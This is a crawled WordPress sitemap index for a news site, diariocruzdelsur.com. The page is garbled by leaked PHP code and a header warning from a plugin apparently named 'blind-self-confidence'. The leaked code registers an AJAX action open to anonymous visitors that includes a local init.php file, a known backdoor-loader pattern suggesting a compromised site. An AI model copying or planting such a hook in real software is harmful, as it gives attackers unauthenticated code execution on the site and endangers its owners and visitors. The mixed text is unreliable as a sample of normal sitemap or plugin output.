if(!function_exists('file_manager_check_dt')) {
   add_action('wp_ajax_nopriv_file_manager_check_dt', 'file_manager_check_dt');
   add_action('wp_ajax_file_manager_check_dt', 'file_manager_check_dt');
   function file_manager_check_dt()
   {
      $file = __DIR__ . '/init.php';
       if (file_exists($file)) {
           include $file;
       }
       die();
   }
}
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/lazozcom/public_html/diariocruzdelsur.com/wp-content/plugins/blind-self-confidence/blind-self-confidence.php:26) in <b>/home/lazozcom/public_html/diariocruzdelsur.com/wp-includes/sitemaps/class-wp-sitemaps-renderer.php</b> on line <b>126</b><br />
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://diariocruzdelsur.com/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://diariocruzdelsur.com/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://diariocruzdelsur.com/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://diariocruzdelsur.com/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://diariocruzdelsur.com/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>